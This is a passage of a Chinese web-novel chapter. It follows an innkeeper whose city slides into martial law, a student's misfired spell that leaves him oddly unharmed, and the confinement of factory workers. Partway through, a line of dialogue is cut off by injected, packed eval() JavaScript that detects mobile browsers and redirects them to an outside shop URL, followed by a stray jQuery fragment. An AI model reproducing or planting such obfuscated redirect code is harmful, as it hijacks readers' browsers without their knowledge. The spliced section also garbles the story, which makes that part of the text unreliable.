西市集市的热闹散了很多。
墨林到的时候是上午,正该高峰,但这些日子,陆续不开张的摊子越来越多了。
常去的杂货铺没人守着,隔壁的干货摊连架子都收了,只剩两根插在地缝里的竹签,大概是忘了拔。
平时最挤的那条西巷空了大半,几个收拾尾货的摊贩蹲在巷口抽旱烟,也不招呼客人。
他在一家还开着的调料铺前停了片刻,老板抬眼认出他,把平时留好的几包磨料推到台面,“就这些了。”
他扫过这批调料,皱眉:“上次那批白胡椒呢?”
“进不来。从北边过来的车全停了,过城门查得厉害,好些商队嫌麻烦掉头走了。”
卖旧衣的女人在隔壁收摊,听见了,搭腔道:“这几天查的不止北边,东门西门都加了人,连牛车都要翻,谁耐烦等。”
墨林没追问,付了钱,把仅有的几包调料装进布袋,转身往回走。
路上他留意着,巡逻和往日不同。
以前一队走过去就完了,现在这队刚过巷口,另一个方向又转出来一队。
墨林侧身让了一下,布袋蹭到了路边的门板,还没走出这条巷子,第三队已经从对面过来了。
快到东区的时候,一条侧路上拐出来一小队骑兵,人数不多,但装备很齐,连马蹄包裹都是统一的深色皮套。
他们快步穿过一个十字路口,沿大路往南去了,马蹄落在石板上闷闷的。
01说:【你有没有觉得,不是集市少了人那么简单。】
“嗯。”,墨林把布袋往肩上移了移,调料比平时少了一大半,袋子轻得有点晃,“看起来不只是集市的事。”
回到酒馆时,乔已经开了门,今天是周末,店开得早。
墨林把东西放进后厨,在架子前站了一会儿,上周的存货用了大半,今天补回来的还不到三分之一。
他把调料按用量重新码了一遍,快过期的往前挪,出来对乔说了句: “菜单里用白胡椒的两样暂时撤掉。”
“缺料?”
“进不来。”,墨林在心里盘了一下,明天得转去东市看看。
乔点了下头,转身去改木板上的菜单。
整个下午来的客人很少,不仅学生们没有来,工人们也只是偶尔路过。
墨林望向窗外,还能看到时不时有几批工人沿着上工的方向走过,进入工坊街。他们都行色匆匆,表情也不是很轻松。
下午过半,安推门进来。
她的书包很沉,放下的时候桌面闷响了一声,外套上还沾着学院的粉笔灰,刚从教室赶过来,一坐下就急急地翻开作业本。
这段时间她看起来疲倦不少,乔说快学期末了,寒假前有考核,奖学金评定也在这月底,安是每学期必得奖学金的。
墨林看见她写字的力道比以前重,时不时停下来揉太阳穴,给她倒了杯热茶放在手边,安低声说了句谢谢。
乔收完桌子过来看她,“还没写完?”
安没抬头:“老师加了施法作业。”
乔替她解释,压低了声音:“她老师可严了。”
安把作业纸拿起来,又低头从箱子里掏出些零碎器材,抬头问墨林:“老板,我能去店门口练一下魔法吗?不会影响店里的。”
墨林看了眼纸,上面画着大小几组复杂圆形结构,有些地方被反复擦改过,线条已经模糊了,问:“你这是什么魔法?”
安歪头:“是凝水叠加热魔法阵。”
墨林点点头,扫了眼外面,道:“外面不安全,就在店里练吧。”
说完指了指店靠里的位置,今天顾客少,他让乔移开里面几个空桌,让安去那里练。
安蹲坐在地上,摆上水晶、鹿角、枝叶等物。
墨林看着那堆器材,悄悄点开系统面板查了一下价格,接着眉头皱了一下,一次法阵的材料费就要近千。
下午不到两个小时,安已经重绘了四次。前两次光散了,第三次成了,她紧绷的身体放松了些,可第四次又偏了。
箱里只剩最后一组器材了,安蹲在地上深吸了一口气,活动了一下指节,尝试最后的机会。
她闭上眼,指尖开始凝光,水滴大小的淡色光在左手指腹上成型,右手同时凝出一团橙红的暖光,两道光开始极力的靠近、融合,手腕因多次尝试而颤抖。
——融合猛的失败了,巨大的排斥力把她的手弹开。
光偏了,从指尖脱出,直直打在刚从旁边走过的墨林的小臂上。
安的脸一瞬间白了,蹭地站起来,大喊:“老板!”
没收束的加热魔法能把皮肤灼出水泡,她上学期亲眼见过同学被烫伤的样子,小臂上一片红肿,当场就被送去了治疗室。
墨林低头扫了一眼手臂,袖口向上撩了一点,皮肤干干净净。没有红、没有肿,连温度都没有。
“没事。”,他把袖子放下来,对安摆摆手,“没打到我。”
安盯着他的小臂看了好几秒。
光的走向她感觉得很清楚,可皮肤上没有任何痕迹,像那道魔法根本不存在,她下意识也开始怀疑自己是否真的感知错了方向。
她张了张嘴,最后只是慢慢点了点头,蹲回去收器材,手里的鹿角磕了一下箱沿,她也没在意。
01在脑海里的声音变了调:【我明明看到打中了。】
“你看错了。”
【我没看错。难怪你之前能碰到我剑上的保护魔法……你对魔法——】
墨林的指甲狠狠掐进剑身的凹槽里,01吃痛,声音断在当中。
【……行,我不说了。】
墨林走回吧台,拿起一把枯花开始筛拣,像什么都没发生过。
身后,安已经合上器材箱,重新坐回桌前翻开作业本,写了几行,笔又停了。
她没有转头,但余光明显在往吧台那边飘。
过了一会儿,她低头继续写字,只是握笔的手比之前紧了一点。
打烊的时候,乔叫了安两遍她才动。安把笔盒扣上,帮着一起拖地。
拖到墨林站的地方时,她犹豫了一下,迈步似乎想绕了过去,又晃了晃头,收回了脚。
墨林注意到了,但没说什么,问:“考试什么时候?”
“月底。”,安低声回:“奖学金考核也是月底。”
墨林没再问。
学魔法的负担大,每一笔收入都对他们难能可贵。
乔在旁边摆凳子,手上的动作也慢了一拍,低着头没吭声。
夜里,安和乔上楼后,01才重新开口。
【你打算怎么处理?】
“不处理。”
【她不是傻子,她知道那道魔法打中你了。】
“所以呢?”
【万一她跟别人说……】
“她不会。”,墨林把最后一只杯子扣回架上,“一个连问都不敢问的人,不会跟别人说。”
01
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835658|211407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沉默了一会儿,反问:【你就这么确定?】
“不确定,不过她自己也不确定。”,墨林关了灯,“到时候再说吧,实在不行花点钱伪装,不是什么大事。”
————
过后三天,工人们来的越来越少了。
先是克莱那桌少了两个人,墨林最初以为是加班,第二天整桌都没出现。
取餐的柜子也从最初的爆满,到现在只有零星几单;有些人早上预定了,餐食却到了打烊都没人取。
乔去门口等了一会儿,回来说工坊那边的路上没什么人走动,大门关着,里面有灯。
再过一天,路上碰到一个还没进厂的工人,乔才问清楚。
东区几家大工坊全部进入加急赶工,工人按批次进去以后不准出来,轮班在里面换,觉也在里面睡。
“睡工厂?”,乔皱眉。
那人压着声音:“说是前线的单子,很急。城里在戒严,上头说集中起来比较安全。”
墨林听完没说话。戒严的事他在集市已经看出端倪,只是没想到连工人都要关起来。
当天下午,一个穿工坊管事服的人进了酒馆。
“工坊要给里面的人订热汤和肉饼,每天下午和傍晚各送一趟。”,他说话很快,像是还有下一家要跑,“东区几家馆子都在接,你这里工人们吃惯了,所以也来问一声。”
“一定要热的。”,管事走的时候嘱托,“里面夜里不让生火,这几天又冷得厉害。”
“记得今天晚上就开始送。”
他答应了,出餐量翻了将近一倍,后厨从下午就开始忙,乔也进了后厨帮着烧汤、切肉、分装,两个人在灶台之间来回绕,到傍晚手都是红的。
第一趟送去的时候天已经暗了,两人推着板车在结了薄霜的路面上走得很慢,车轱辘碾过石板,声音干涩。
此后每天两趟,风雨无阻。
中午那餐墨林都是一个人送,板车把手冰得刺手。
路上他看见过几队女人从城东一条窄路上快步走向工坊方向,有的穿学院制服,有的穿便装,走得很快,彼此不说话。
进了厂区大门以后就没有再出来。
工坊的门每次只开一条缝,刚够板车侧着推进去。接货的是同一个人,脸上的疲色一天比一天重。
墨林放下汤桶的时候,透过门缝往里看了一眼:
厂房很深,搬运的动静从好几个方向传来,板车轮和铁件碰击,混着人压低的嗓音。
深处有几个方向透着冷白色的光,不是油灯,不是炉火,颜色过于干净、凌厉,隔几息就闪烁一下,光源旁隐约有人影晃动。
接货的人咳了一声,墨林收回视线。
回去的路上,01问:【那些光都是魔法?】
墨林没回答。
他把空桶码好,推着板车原路返回,冬天的风从背后吹过来,把板车上的油布掀起一角。
又过了几天,街上更安静了。
最初一两天还能看见祁老板,如今已经隔了两三天没看到了。
这天早上起来,墨林习惯性往窗外看。
对面修伞人的摊子没了,连摊架一起消失了,二楼那两扇一直亮到深夜的窗也暗了,此后一暗就是好几天。
过去几周,他已经认出了对面五六个轮换的人,不管谁来盯,总归有人在。
现在那些位置全空了。
风从窗缝里灌进来,比有人盯着的时候更冷一些。